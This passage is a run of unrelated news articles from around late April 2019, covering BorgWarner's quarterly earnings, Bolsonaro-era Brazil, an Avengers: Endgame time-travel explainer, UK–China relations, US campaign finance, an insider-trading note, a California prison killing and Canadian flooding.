restructuring is to support future growth. Let's take a closer look at the details from the quarter. BorgWarner first-quarter earnings: The raw numbers Starting with the headline numbers from the quarter: Net sales of $2.57 billion came in above the high end of guidance of $2.44 billion to $2.5 billion but declined 3.3% year over year on an organic basis. Adjusted EPS of $1 came in above the high end of guidance of $0.92 to $0.96 but declined 9% from the $1.10 reported in the same period last year. As you can see, revenue and earnings fell in the first quarter largely as a consequence of declining global light-vehicle production. That much is easy to understand, but here's the tricky bit, or rather the three tricky bits. A car production line. Image source: Getty Images. Three factors to consider First, CEO Frederic Lissalde outlined that BorgWarner's global light-vehicle production (weighted for the company's geographic exposure) declined 5.2%, but the midpoint of BorgWarner's assumption going into the quarter was for a 6.2% decline. That's the good news. In more good news, once again, BorgWarner outperformed its end market in the quarter, but there was some regional variance. BorgWarner's management measures its "outgrowth" as "our organic revenue change versus the market," so because organic revenue declined 3.3% compared to a production market decline of 5.2%, the company had a relatively good quarter -- at least according to management's measures. However, BorgWarner performed relatively better in Europe and North America and worse in China. Story continues Specifically, China revenue declined in the "high teens" compared with a market down in the "mid-teens," according to Lissalde on the earnings call. However, the company's European revenue was down 1% compared with a market down 5.5%. BorgWarner's North American revenue was flat year over year, compared with a 2.5% market decline. But here's the bad news: BorgWarner's profit declined more than you might expect given the sales decline. VP Tom McGill discussed the matter during the earnings call. Excluding foreign currency movements, BorgWarner's sales were down $91 million in the quarter, but its operating income (on a constant currency basis) fell $29 million, or 32% of the sales decline. However, management's usual expectation is for a so-called decremental margin of 20% -- a figure that would have yielded a more favorable $18.2 million decline. Where did the $11 million shortfall go? McGill argued that it "can be explained by tariff-related costs, supplier bankruptcy costs in Europe, and timing of costs related to a new business launch later in 2019." Putting all this together, BorgWarner's end markets were relatively better than expected, and its sales outperformed end markets, but its profit wasn't as good as you might expect under the circumstances. Guidance mixed Some of the issues are going to extend into the second quarter. McGill noted, "As with the case in Q1, the Q2 results will be impacted by tariffs and supplier bankruptcy costs." In addition, margin in the second quarter will be hit by relatively higher research and development spending -- even though full-year R&D is still expected to be around 4% of sales. All told, management maintained its full-year guidance for organic sales growth to be in the range of a 2% increase to a 2.5% decline, with adjusted EPS in the range of $4 to $4.35. Thinking further ahead, management outlined a plan to reduce annual structural costs by some $40 million to $50 million over the next couple of years, but this will result in "restructuring expenses in the $80 million to $100 million range through the end of 2020," according to Lissalde on the earnings call. However, the cost savings won't drop into the bottom line. As Lissalde said, "We expect to use savings to increase our R&D spending as a percentage of sales without negatively impacting our overall operating margins." The idea is that it will support new business development, particularly in hybrid and electric vehicles. Looking ahead Investors will be hoping BorgWarner meets its 2019 targets, even as the second quarter is set to look weak. From an end-market perspective, all eyes will be on how global light-vehicle production pans out in 2019, but investors will also be monitoring the company's margin outlook and progress on contract awards -- something BorgWarner needs to justify using future cost savings to fund an increased level of research and development spending. More From The Motley Fool Lee Samaha has no position in any of the stocks mentioned. The Motley Fool recommends BorgWarner. The Motley Fool has a disclosure policy. Rio de Janeiro (AFP) - A Brazilian bank commercial highlighting the country's diversity was pulled following a request by far-right President Jair Bolsonaro, the bank confirmed Friday. The campaign by the bank -- which has since let its marketing director go -- was intended to attract young clients and featured black and transgender actors. It began running at the beginning of the month before being stopped on April 14. "The president and I agreed that this commercial should be removed," Banco de Brasil president Rubem Novaes said in a statement, without offering further detail on the reasons for the decision. He added that marketing director Delano Valentim's departure was by mutual agreement. The commercial showed a mix of black and white actors, some with tattoos and colored hair, snapping selfies to lively music as a voiceover explained how to open an account online. People of color are underrepresented in Brazilian advertising, despite making up the majority of the country's population. According to newspaper O Globo, Bolsonaro reached out directly to the bank's president to demand the advertisement be pulled. The interference prompted widespread criticism. "There is no place for diversity in this government. Bolsonaro acts like a little dictator," said Maria do Rosario, a deputy from the leftwing Workers Party. While himself a deputy, Bolsonaro made headlines for saying that Do Rosario was "too ugly" to be raped. The commercial spat followed outrage on Thursday after Bolsonaro said he did not want Brazil to be a "gay tourism paradise," in response to a question on whether his homophobic remarks could risk foreign investment. (In 1st paragraph, corrects to show that decline is for primary deforestation, not overall deforestation; corrects decline to 37 percent, not 70 percent; corrects throughout to show that losses are for primary deforestation, not overall deforestation) BRASILIA, April 26 (Reuters) - Brazil led the world in rainforest destruction last year, although primary deforestation in South America's largest country fell by 37 percent compared to 2017, according to an independent forest monitoring network. Brazil lost 13,471 square kilometers (5,201 square miles) of primary rainforest in 2018, an area nearly the size of the U.S. state of Connecticut, according to annual data from Global Forest Watch, which is run by the U.S.-based World Resources Institute (WRI). That represents a significant drop from the previous year however, when large-scale forest fires drove higher losses in Brazil. Losses of primary or old-growth forest, which are key to preserving biodiversity, fell after two years of historic fires, but still remain elevated above levels earlier in the decade, according to the Global Forest Watch data released on Thursday. "Though some of the 2018 loss can be attributed to fire, most of it appears to be due to clear cutting in the Amazon, putting at risk the declines in deforestation the country achieved in the early 2000s," researchers wrote on the groups website. Brazil is home to 60 percent of the Amazon, the world's largest tropical rainforest that sucks up vast amounts of carbon dioxide and is seen as a vital protection against global warming. The Democratic Republic of the Congo ranked second in primary forest loss with 4,812 square kilometers cleared. Brazil said last year that deforestation rose to its highest point in the decade for the 12 months through July. Deforestation spiked 13.7 percent to 7,900 square kilometers, according to the agency. Activists and non-government organizations fear that deforestation could rise in Brazil under the administration of Jair Bolsonaro, who assumed the presidency on Jan. 1. Story continues Bolsonaro has said that the country must end an "industry of fines" for environmental infractions in Brazil, one of the primary tools for enforcing environmental protections, and created a body earlier this month with the power to pardon fines. He has also called for mining protected indigenous areas and a major reserve in the Amazon to encourage economic development. (Reporting by Jake Spring Editing by Bill Berkrot) By Jake Spring April 26 (Reuters) - State governments in Brazil have agreed to work toward fulfilling the country's Paris Agreement climate change commitments, despite far-right President Jair Bolsonaro's ambivalence over the pact. Bolsonaro said on his campaign trail he would withdraw Brazil from the accord, although later walked back those remarks. The country remains party to the agreement, with a commitment to reduce its national emissions by 37 percent by 2025. Representatives for 12 state governments made the commitments at an event in Rio de Janeiro that ended late on Thursday, according to Alfredo Sirkis, the coordinator of the Brazil Forum for Climate Change, which organized the event. Those states account for just over half of the country's gross emissions of carbon dioxide equivalent, according to data compiled by the Climate Observatory, a Brazilian non-government organization. The move parallels 23 U.S. states that have committed to upholding the country's prior national commitment to cut greenhouse gas emissions after President Donald Trump pulled out of the Paris agreement, Sirkis said. But unlike in the United States, Bolsonaro has not pulled out of the Paris Agreement and the states are acting preemptively in the face of uncertain climate change policy at the federal level, he said. Brazil's Environment Minister Ricardo Salles told Reuters in December it was unclear whether humans are causing global warming, but said his "inclination" was to stay in the agreement. Bolsonaro has also said that the Amazon rainforest, which absorbs vast amounts of carbon dioxide emissions, should be opened to mining and other economic development. The state governments have agreed in principle to start a state-level climate council, with discussions underway on how to structure that body, Sirkis said. The president's office did not immediately respond for a request for comment. Among the state leaders, Joao Doria, governor of Sao Paulo, Brazil's wealthiest and most populous state, voiced support for meeting climate goals in a video shown at the meeting and highlighted the state's programs to cut emissions. Story continues "Let's help Brazil to comply with its international commitments determined in the Paris Accord and achieve the UN's sustainable development objectives," Doria, who has emerged as a Bolsonaro ally on other issues, said. "This is our commitment." Other states expressing commitments included Rio de Janeiro, Amazonas, Para, Minas Gerais, Parana, Rio Grande do Sul, Espirito Santo, Amapa, Rio Grande do Norte, Mato Grosso do Sul and Pernambuco. (Reporting by Jake Spring Editing by Susan Thomas) By Gabriel Stargardter RIO DE JANEIRO (Reuters) - Brazil's far-right President Jair Bolsonaro on Thursday expressed horror over the 1,000 penis amputations that occur each year in the country including those due to a lack of basic hygiene, a figure he called "ridiculous and sad." Speaking with reporters in Brasilia after visiting the Education Ministry, the former army captain despaired at the number and said his government must work with vulnerable men to make them more aware of the dangers of unhygienic behaviour. "In Brazil, we have 1,000 penis amputations a year due to a lack of water and soap," he said. "We have to find a way to get out of the bottom of this hole." Bolsonaro did not specify the source of the number. A spokeswoman for the Brazilian urology society said the figure is based on official data for penis amputations. The society said the amputations were necessitated by untreatable infections along with cancers and complications from HIV. (Reporting by Gabriel StargardterEditing by Leslie Adler and Cynthia Osterman) BRASILIA (Reuters) - Thousands of people representing the more than 300 tribes native to Brazil marched to government offices in Brasilia on Friday to protest the policies of right-wing President Jair Bolsonaro that threaten their reservation lands. Wearing body paint and headdresses made with the colourful feathers of Amazon birds, they brandished bows and arrows and beat drums while chanting resistance songs. The march comes at the end of a three-day rally in the Brazilian capital called the Free Land Encampment. "Our families are in danger, our children are under threat, our people are being attacked. In the name of what they call economic progress they want to kill our people," said David Karai Popygua, an ethnic Guarani Mbya from the state of Sao Paulo. Bolsonaro, a former army captain turned politician, was elected in October with the support of Brazil's farm sector that has pushed for access to more land and fewer environmental controls. They also want him to ease gun possession laws. One of his first measures on taking office on Jan. 1 was to dismantle the indigenous affairs agency FUNAI, handing reservation demarcation decisions to the Agriculture Ministry that is controlled by farming interests. "It is an embarrassment for our country to have a government that does not understand the struggle of indigenous peoples and has no knowledge at all of the indigenous population," said Daran, a Tupi Guarani chieftain. Brazil has more than 850,000 indigenous people that make up less than 1 percent of its population. They live on reservations that make up about 13 percent of the country's territory. Bolsonaro has said that is too much land for so few people and has vowed to review some reservation borders. He says they live poorly and wants to assimilate them by allowing large-scale farming and commercial mining on reservations. The government did not immediately comment on the protests. The country's Supreme Court on Thursday denied an injunction sought by the Brazilian Socialist Party to stop the transfer of indigenous land decisions to the agriculture ministry. Hundreds of tribal people protested outside the building. Story continues Sonia Guajajara, national coordinator of Brazil's Association of Indigenous Peoples, told Reuters that land invasions and other attacks on tribes by illegal miners and loggers had increased since Bolsonaro took office. "They say that they have been authorized to occupy indigenous land," she said. "We are here to oppose mining, hydroelectric and agribusiness companies that destroy tribal communities and Mother Nature." "We have resisted for five centuries and we are not going to surrender in four years. We will continue fighting," she said. (Reporting by Leonardo Benassatto and Anthony Boadle, Editing by Rosalba O'Brien) Warning: This post contains spoilers for Avengers: Endgame. At the end of Avengers: Infinity War, Thanos uses powerful gems called Infinity Stones to snap his fingers and destroy half of all life in the universe. At the beginning of its follow-up film Avengers: Endgame, the Avengers hunt down Thanos and try to take the Infinity Stones back to undo the damage. Unfortunately for them, Thanos has already destroyed the Stones. There is nothing they can do. Fast forward five years. A rat happens to crawl over a machine that allows people to travel through the Quantum Realm and accidentally releases Ant-Man (Paul Rudd). Hes been stuck in the Quantum Realm for half a decade, even though it feels to him as if only five minutes have passed. Ant-Man rushes to Avengers headquarters to tell his fellow superheroes that they can travel back in time and collect all the Infinity Stones. Tony Stark (Robert Downey Jr.) agrees to work on a machine that would allow the Avengers to time travel on one condition. He has started a family in the last five years and thus does not want to alter recent history in any way. Instead of trying to rewind time once they have the Time Stone and undo everything that has happened in the last five years, they decide to use the Infinity Stones to bring back everyone who disappeared in this current timeline, five years later. That way, Tony can preserve his daughters life, while saving dusted characters like Spider-Man (Tom Holland). If youre already confused, well, were just getting started. Time travel in pop culture can get rather tricky. Just ask J.K. Rowling, who destroyed all the Time Turners in Harry Potter just to avoid dealing with time-loop-related plot holes. Avengers: Endgame tries to side step these problems by establishing certain time travel rules. Its complicated, so bear with me. The Avengers time travel through the Quantum Realm L to R: Hawkeye/Clint Barton (Jeremy Renner), Ant-Man/Scott Lang (Paul Rudd) and Nebula (Karen Gillan) in Avengers: Endgame | Film FrameMarvel Studios Ant-Man theorizes that because he was able to jump forward five years in what felt like five minutes, the Avengers could travel back in very little time. They use Pym Particles (created by his mentor Hank Pym before he disappeared in the snap) to shrink to subatomic size and enter the Quantum Realm. Tony just has to mess around with some of the technology for a day and ta-da! Hes solved the problem of how to control where they land in time using tiny little watches. Anyway, back to the plot. Story continues READ MORE: We Ranked Every Single Marvel Cinematic Universe Movie They decide to split up and visit a few spots to intercept the Infinity Stones. Captain America (Chris Evans), Iron Man, Hulk (Mark Ruffalo) and Ant-Man travel to New York in 2012 when both the Mind Stone and the Space Stone (then known as the Tessearact) were in Lokis (Tom Hiddleston) possession during the Battle of New York and the Time Stone resided at the Sanctum Sanctorum in the same city. Iron Man and Ant-Man flub stealing the Space Stone (Loki gets away with it), so then Captain America and Iron Man travel further back in time to a military lab in New Jersey in 1970 to steal it from Tonys fathers lab. They also grab more Pym particles from Pyms lab while theyre at it. Thor (Chris Hemsworth) and Rocket (Bradley Cooper) travel to Asgard in 2013 where the The Reality Stone resides inside Jane Foster (Natalie Portman). Nebula (Karen Gillan) and James Rhodes (Don Cheadle) travel to Morag in 2014, where Peter Quill (Chris Pratt) found the Power Stone. And Black Widow (Scarlett Johansson) and Hawkeye (Jeremy Renner) travel to Vormir in that same time period to find the Soul Stone. What the Avengers do in the past wont affect the future in their timeline Still from 'Avengers: Endgame'. | Film FrameMarvel Studios 2019 Lets say they steal the Space Stone from Tony Starks father in 1970. Doesnt that mean that Tony Starks father was never able to study the Stone, thus he never creates the Arc Reactor technology that Tony later uses to power the Iron Man suit? And Iron Man is never born? This is basically a version of the Grandfather Paradox of time travel: Travel back in time to kill your grandfather, and then you are never born hence you are unable to kill your grandfather. Well, not in this movie! Even tough version of time travel isnt quite what most moviegoers are used to. For example, the rules of the butterfly effect where changing one tiny aspect of the past will alter the future in unpredictable ways think Back to the Future or this famous Simpsons episode arent in place. READ MORE: How to Stream Every Single Marvel Movie Nor is there a time loop. For example, in Harry Potter and the Prisoner of Azkaban, the characters who travel back through time know exactly what they need to do in the past because its already happened in the future. (For example, future Harry and Hermione know they have to hit their past selves with rocks because they already felt themselves being hit with rocks at the time.) They also know they will tear apart their world if they diverge from that strict plan. If the Avengers change something in the past, they create a parallel timeline Time travel in Avengers: Endgame is based on a popular time travel theory in the field of quantum physics. At one point, Iron Man even drops the name David Deutsch thats the guy who came up with the Many Worlds Theory or Multiverse Theory. Basically, he argues that the place we conceive of as our universe is just one of many parallel universes. And if you change something in the past, you create a new timeline, branching out from the original timeline. So nothing they do in the past affects their main timeline. For example, in the original timeline, Loki was captured and taken to Asgard by Thor in 2012. In Endgame, the 2023 Avengers accidentally facilitate Lokis escape with the Time Stone. But when they travel back to the future, Loki hasnt used the Stone to wreak havoc for a decade. That all happened in a separate timeline. This logic eliminates the option of simply traveling back in time and killing Thanos as a baby, as Rhodes suggests, because it would not change their future, only an alternate universe. But they have to return the Infinity Stones to their original places The Ancient One (Tilda Swinton) insists that in order to maintain the reality of each universe that they visit, the Avengers need to return the Infinity Stones to the places they found them after they are done using them. Its fine if they create separate timelines, but if they deprive one timeline of the gems that maintain its reality, then they essentially break that timeline. Captain America does return all the stones at the end of the movie. (He also returns Mjolnir, the hammer that Thor took from Asgard, back to Thors home planet for the same reason.) Nebula can kill her past self and still survive Nebula (Karen Gillan) | Film FrameMarvel Studios The movie contains an extreme example of why parallel timelines are different from the butterfly effect. Toward the end of Endgame, the new, good Nebula (Karen Gillan) from 2023 shoots and kills old, evil Nebula from 2014. And though you might expect 2023 Nebula to start bleeding out or disappear, shes completely fine. Thats because when 2014 Nebula traveled to the future on Thanos orders, she created a split timeline. Thus these are two different Nebulas who exist on two different timelines. What happens to one does not directly affect the other. Captain America was married to Peggy all along Still from 'Avengers: Endgame' featuring Hawkeye/Clint Barton (Jeremy Renner), War Machine/James Rhodey (Don Cheadle), Iron Man/Tony Stark (Robert Downey Jr.), Captain America/Steve Rogers (Chris Evans), Nebula (Karen Gillan), Rocket (voiced by Bradley Cooper), Ant-Man/Scott Lang (Paul Rudd) and Black Widow/Natasha Romanoff (Scarlett Johansson). | Film FrameMarvel Studios 2019 Remember when I said earlier that there were no time loops? Thats not entirely true. There is one time loop that seems to work differently from time travel in the rest of the movie. I dont know why. It just does. Mid-way through the movie, Hulk promises the Ancient One that he will return the Infinity Stones to their original places in space and time. At the end of the movie, Captain America goes back in time to do this. But instead of returning after five seconds, like he agreed upon with Hulk, he stays in the past. A few seconds later, Bucky and Sam (Anthony Mackie) see an old Captain America sitting on a nearby bench. We see in a flashback that after returning the Infinity Stones, he goes back to live out a quiet life with Peggy. We see them dancing together in their shared home. According the logic of the movie, Captain America didnt actually create a new timeline. If he did, he wouldnt have been able to return to that same bench. He just lived out what had always happened to him. He was always married to Peggy (Hayley Atwell). Back in Captain America: Winter Soldier, Peggy mentions a husband, though she never reveals his name. In a video that plays on a loop at the Captain America exhibit, Peggy says, [Steve Rogers] saved 1,000 men, including the man who would become my husband, as it turned out. Even after he died, Steve is still changing my life. She looks down after saying this, perhaps evasive probably because said husband was, in fact, Steve. Later, when Steve visits her hospital bed, we see pictures of children but none of her husband presumably because that would give away who her husband was. Tellingly, Peggy says in that scene that none of us can go back. She then forgets that Steve is there because at that point, shes suffering from Alzheimers and exclaims, You came back! He replies, I couldnt leave my best girl. Not when she owes me a dance. Likely this is a parallel to the off-screen reunion that happens when Steve travels back in time to find Peggy. As long as Steve maintained his false identity and didnt interfere with anything in the past that would bring the Avengers to their fight with Thanos (like saving Bucky from being brainwashed by HYDRA) the timeline stays stable. The other version of Steve still wakes up in 2012 after being frozen during World War II and still joins the Avengers. Older Steve watches on from afar. Its unclear whether the two Steves would have encountered one another at Peggys funeral: They were both alive when it happened during Captain America: Civil War, but perhaps they were both there and the younger version simply didnt recognize the older version or his fake moniker. Everything happened the way it did because it had to, according to Doctor Strange Doctor Strange suggests in Infinity War that the Avengers could only beat Thanos in one possible future out of millions. In Avengers: Endgame, he tells Tony Stark, If I tell you what happens, it wont happen. Given that the Avengers defeat Thanos at the end of the battle (and Doctor Strange not-so-subtly flashes one finger at Iron Man during the fight), we know that we are seeing that one single future in which the Avengers defeat Thanos. Knowing that, old Steve would resist meddling in the Avengers affairs so that they would eventually win their fight against the big purple baddie. By Brenda Goh BEIJING (Reuters) - Britain is committed to help realise the potential of China's Belt and Road Initiative (BRI), British finance minister Philip Hammond said on Friday, describing the policy as a "vision". Speaking at a summit in Beijing on China's programme to re-create the old Silk Road joining China with Asia and Europe, Hammond said the BRI must work for everyone for it to turn into a sustainable reality and he offered British expertise in project financing. "The Belt and Road Initiative has tremendous potential to spread prosperity and sustainable development, touching as it does, potentially 70 percent of the world's population, a project of truly epic ambition," Hammond said. "The U.K. is committed to helping to realise the potential of the BRI and to doing so in way that works for all whose lives are touched by the project," he added. "The BRI is an extraordinarily ambitious vision," Hammond said. "To turn that vision into a sustainable reality, it must work for everyone involved." Britain is eager to forge closer ties with Beijing. The world's fifth-biggest economy will look to re-invent itself as a global trading nation after it leaves the European Union - though it remains unclear when there will be Brexit. Britain and China will hold the next round of their Economic and Financial Dialogue (EFD) in mid-June in London, Hammond said on Thursday, after months of media reports that talks had been delayed by diplomatic tension. In the past, the EFD has been used to announce closer cooperation on trade and banking initiatives, and to sign commercial contracts. Speaking later to reporters, Hammond said he hoped to see progress on the Shanghai-London stock connect plan and other projects, though he did not give details. STRAINED TIES However, relations between London and Beijing have been strained in recent years, most notably after a British warship sailed close to islands claimed by China in the disputed South China Sea last August. Story continues Prior to that, China and Britain, which have talked of a "golden era" of relations, had agreed to look at the possibility of reaching a "top notch" post-Brexit free trade deal that promised an important political win for the British government. Hammond said while the two countries didn't always agree on everything, relations were back on track. "I agreed yesterday a long agenda with Vice Premier Hu Chunhua and I'm confident that out of that agenda there will be significant deliverables when we meet in London in June," he told reporters. Amid the upheavals on the domestic front after parliament three times rejected the Brexit deal negotiated by Prime Minister Theresa May and other EU leaders, Britain has increasingly looked to China, including the Belt and Road. To unlock that private finance and reassure investors, a recognised infrastructure asset class for Belt and Road projects must be created, with standardised contract terms and dutiful reporting that global investors will recognise and trust, Hammond told the summit. To support the sheer scale of the initiative, private finance will need to play a bigger role in the infrastructure projects, he added. "Our offer is to bring together the best of Chinese manufacturing, engineering and construction, with the best of British project design and legal, technical and financial services expertise, as we promise the golden era of U.K.-China relations to deliver world class sustainable infrastructure for the 21st century," he said. (Reporting by Brenda Goh; Additional reporting by Ben Blanchard and Ryan Woo; Editing by Richard Borsuk and Darren Schuettler) By Ben Blanchard BEIJING, April 26 (Reuters) - Britain must get to the bottom of the leak of confidential discussions during a top-level security meeting about the role of China's Huawei Technologies in 5G network supply chains, British finance minister Philip Hammond said on Friday. News that Britain's National Security Council, attended by senior ministers and spy chiefs, had agreed on Tuesday to bar Huawei from all core parts of the country's 5G network and restrict its access to non-core elements was leaked to a national newspaper. The leak of secret discussions has sparked anger in parliament and amongst Britain's intelligence community. Britain's most senior civil servant Mark Sedwill has launched an inquiry and written to ministers who were at the meeting. "My understanding from London (is) that an investigation has been announced into apparent leaks from the NSC meeting earlier this week," said Hammond, speaking on the sidelines of a summit on China's Belt and Road initiative in Beijing. "To my knowledge there has never been a leak from a National Security Council meeting before and therefore I think it is very important that we get to the bottom of what happened here," he told Reuters in a pooled interview. British culture minister Jeremy Wright said on Thursday he could not rule out a criminal investigation. The majority of the ministers at the NSC meeting have said they were not involved, according to media reports. Hammond said he was unaware of any previous leak from a meeting of the NSC. "Its not about the substance of what was apparently leaked. It's not earth-shattering information. But it is important that we protect the principle that nothing that goes on in national security council meetings must ever be repeated outside the room." Allowing Huawei a reduced role in building its 5G network puts Britain at odds with the United States which has told allies not to use its technology at all because of fears it could be a vehicle for Chinese spying. Huawei has categorically denied this. Story continues There have been concerns that the NSC's conclusion, which sources confirmed to Reuters, could upset other allies in the world's leading intelligence-sharing network - the Five Eyes alliance of the United States, Britain, Australia, Canada and New Zealand. However, British ministers and intelligence officials have said any final decision on 5G would not put critical national infrastructure at risk. Ciaran Martin, head of the cyber center of Britain's main eavesdropping agency, GCHQ, played down any threat of a rift in the Five Eyes alliance. (Writing by Michael Holden Editing by Mark Heinrich) London (AFP) - Britain's main opposition Labour leader Jeremy Corbyn on Friday declined an invitation to a banquet with Donald Trump when the US president visits in June, accusing him of using "racist and misogynist rhetoric". Prime Minister "Theresa May should not be rolling out the red carpet for a state visit," Corbyn, a veteran left-winger and pacifist, said in a statement. Trump "rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric," Corbyn said, although he added that he would welcome a meeting with Trump during the June 3-5 visit. Corbyn said it was "disappointing that the prime minister has again opted to kowtow to this US administration". House of Commons speaker John Bercow, who has ruled out allowing Trump to address parliament, and Vince Cable, leader of the opposition Liberal Democrats, have already declined the invitation to the dinner. State dinners for visiting heads of state are usually held at Buckingham Palace and are lavish affairs. May invited Trump for a state visit when she visited him in January 2017 -- just days after he took office. The invitation proved controversial and an online petition to cancel it reached 1.9 million signatures. The president, a strong supporter of Brexit, travelled to Britain last year but only on a working visit without the pomp and ceremony associated with state visits. Pete Buttigieg announced Friday that his campaign will no longer accept donations from registered lobbyists and will return over $30,000 in donations. In an email to supporters, Buttigieg campaign manager Mike Schmuhl wrote that the mayor will return $30,250 of contributions that have been made to date from 39 individuals who are registered lobbyists. Buttigieg is the mayor of South Bend, Indiana, An interactive guide: Who is running for president in 2020? Schmuhl wrote that Buttigieg's campaign "will not be influenced by special-interest money, and we understand that making this promise is an important part of that commitment." The Buttigieg campaign will no longer accept donations from federal lobbyists, registered lobbyists, corporate PACs or money from the fossil fuel industry. Several Democratic candidates, including Sens. Kamala Harris, Cory Booker, Kirsten Gillibrand, Amy Klobuchar and Elizabeth Warren, have all sworn to no take any money from lobbyists or PACs. Most recently, former Vice President Joe Biden also announced that he will not be accepting contributions from lobbyists. Donald Trump on 2020 Democrats: 'Rooting' for Pete Buttigieg, Beto O'Rourke is 'fading' and more Buttigieg press secretary Chris Meagher said the campaign's decision had "nothing to do with anything" or anyone else, and pointed back to the email to Buttigieg's supporters. "We understand that making this decision and being vocal about our values is important; that the decision means more than just whether or not we are willing to accept money from a specific individual," the email said. "Standing up for our collective values not only includes saying we believe that campaigns should not take money from lobbyists; it also means being aware of the loopholes that still allow special interests to impact the campaign." This article originally appeared on USA TODAY: Buttigieg will no longer accept donations from lobbyists, returns $30,250 contributions We've lost count of how many times insiders have accumulated shares in a company that goes on to improve markedly. Unfortunately, there are also plenty of examples of share prices declining precipitously after insiders have sold shares. So we'll take a look at whether insiders have been buying or selling shares in Indiabulls Integrated Services Limited (NSE:IBULISL). Do Insider Transactions Matter? It's quite normal to see company insiders, such as board members, trading in company stock, from time to time. However, rules govern insider transactions, and certain disclosures are required. We would never suggest that investors should base their decisions solely on what the directors of a company have been doing. But equally, we would consider it foolish to ignore insider transactions altogether. As Peter Lynch said, 'insiders might sell their shares for any number of reasons, but they buy them for only one: they think the price will rise.' View our latest analysis for Indiabulls Integrated Services Indiabulls Integrated Services Insider Transactions Over The Last Year Over the last year, we can see that the biggest insider purchase was by Non-Executive Director Ajit Mittal for 7.1m worth of shares, at about 714 per share. That means that an insider was happy to buy shares at above the current price of 325. Their view may have changed since then, but at least it shows they felt optimistic at the time. In our view, the price an insider pays for shares is very important. As a general rule, we feel more positive about a stock when an insider has bought shares at above current prices, because that suggests they viewed the stock as good value, even at a higher price. Ajit Mittal was the only individual insider to buy shares in the last twelve months. The chart below shows insider transactions (by individuals) over the last year. If you click on the chart, you can see all the individual transactions, including the share price, individual, and the date! Story continues NSEI:IBULISL Recent Insider Trading, April 26th 2019 Indiabulls Integrated Services is not the only stock that insiders are buying. For those who like to find winning investments this free list of growing companies with recent insider purchasing, could be just the ticket. Insider Ownership of Indiabulls Integrated Services Another way to test the alignment between the leaders of a company and other shareholders is to look at how many shares they own. We usually like to see fairly high levels of insider ownership. Insiders own 5.7% of Indiabulls Integrated Services shares, worth about 1.7b. While this is a strong but not outstanding level of insider ownership, it's enough to indicate some alignment between management and smaller shareholders. So What Does This Data Suggest About Indiabulls Integrated Services Insiders? There haven't been any insider transactions in the last three months -- that doesn't mean much. On a brighter note, the transactions over the last year are encouraging. It would be great to see more insider buying, but overall it seems like Indiabulls Integrated Services insiders are reasonably well aligned (owning significant chunk of the company's shares) and optimistic for the future. I like to dive deeper into how a company has performed in the past. You can find historic revenue and earnings in this detailed graph. If you would prefer to check out another company -- one with potentially superior financials -- then do not miss this free list of interesting companies, that have HIGH return on equity and low debt. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. SACRAMENTO, Calif. (AP) One convicted killer has been accused of beheading another in what authorities call an exceptionally sadistic torture slaying at a California prison. Corcoran State Prison inmate Jaime Osuna removed several body parts from his cellmate, Luis Romero, Assistant Kings County District Attorney Phil Esbenshade said Friday. Charges accuse Osuna, 31, of repeatedly cutting Romero last month using what the prosecutor called a sharp metal object wrapped in string and attached to a handle. It's not clear how much happened while Romero, 44, was still alive or whether anyone heard the overnight assault, but "we do believe that the victim was conscious during at least a portion of the time," Esbenshade said in an email. "This is the most gruesome case that I have seen in terms of heinousness in the slaying." The California Department of Corrections and Rehabilitation is conducting an internal investigation, spokeswoman Terry Thornton said. Officials wouldn't provide more details on how prisoners are overseen overnight. Osuna pleaded not guilty to murder and other charges at his first court appearance Thursday. They include several special circumstances that could bring the death penalty, including that the slaying "was especially heinous, atrocious, or cruel, manifesting exceptional depravity." Defense attorney Melina Benninghoff was appointed to represent him but was home sick Friday and did not respond to telephone and email requests to comment on his behalf. Osuna also is charged with torture, mayhem and weapons possession. The torture charge alleges that he acted "with the intent to cause cruel and extreme pain and suffering for the purpose of revenge, extortion, persuasion and for a sadistic purpose." The state corrections department said guards found Romero dead in his cell about 7:30 a.m. March 9 at the prison, which houses more than 3,300 inmates about 220 miles (354 kilometers) south of Sacramento. Story continues Romero bled to death from "multiple sharp force trauma injuries," and his body was mutilated, according to an autopsy report released Friday. Osuna was sentenced to life without parole after pleading guilty in 2017 to killing Yvette Pena, 37, at a Bakersfield motel in 2011, according to media reports at the time. Romero also was serving a life term for a Los Angeles County slaying, but with the possibility of parole. Osuna has been transferred to a Stockton prison for inmates needing medical or mental health care, though officials wouldn't say why, citing privacy laws. By: Zachary Babo items.[0].image.alt Photo by: Jeff Hager/WMAR-2 News BALTIMORE As properties associated with Mayor Catherine Pugh were raided by FBI and IRS investigators Thursday morning , local elected officials voiced their growing concerns about Pugh, the scandal that has engulfed City Hall and associated organizations, and their desire to see Pugh step aside. Governor Larry Hogan released a statement Thursday morning, calling for Pugh to resign, citing the current FBI operations and his own request for an investigation into Pugh's dealings with the University System of Maryland's Medical System. By Julie Gordon and Allison Lampert OTTAWA/MONTREAL (Reuters) - Canada's capital city of Ottawa readied on Friday for heavy flooding as rains were set to further engorge the swollen Ottawa River, while Montreal declared a state of emergency as it too braced for an inundation of flood waters. Ottawa officials told reporters late Friday that they now expect waters to rise about half a metre (1.6 feet) above peak levels seen in 2017, when spring flooding caused about C$230 million ($171 million) in insured damage in Ontario and Quebec. "The situation is changing very quickly on the ground," said Ottawa city manager Steve Kanellakos, adding waters would affect hundreds of homes, likely more than the roughly 500 hit in 2017. The city declared a state of emergency on Thursday. Officials in Montreal, meanwhile, declared a state of emergency late Friday as Canada's second largest city also braced for the impact of heavy rains mixed with melting snow on its swollen waterways. Environment Canada warned that up to 60 mm (2.4 inches) of rain could hit Montreal from Friday into Saturday, with the Ottawa-Gatineau region expected to see up to 35 mm (1.4 inches) of rain over the 24-hour period. Spring flooding has already impacted nearly 5,500 homes in Quebec, with more than 1,000 people evacuated. One woman died when her car was caught in a road washout caused by rising waters. "This is a broad-spread problem," Canada's Safety Minister Ralph Goodale told reporters. "We are working diligently and in close collaboration with all provincial and municipal authorities ... to be as effective as we possibly can be in keeping Canadians safe." Light armored vehicles carrying Canadian troops rolled into an already waterlogged community west of the city's downtown around midday on Friday, with soldiers helping residents load sandbags into trucks and boats to shore up their properties. Across the river in Gatineau, Quebec, a number of roads were closed and dozens of residents were forced from their homes. Story continues Separately, surging waters on the Rouge River in Quebec continued to threaten a hydroelectric dam at Bell Falls, though Hydro 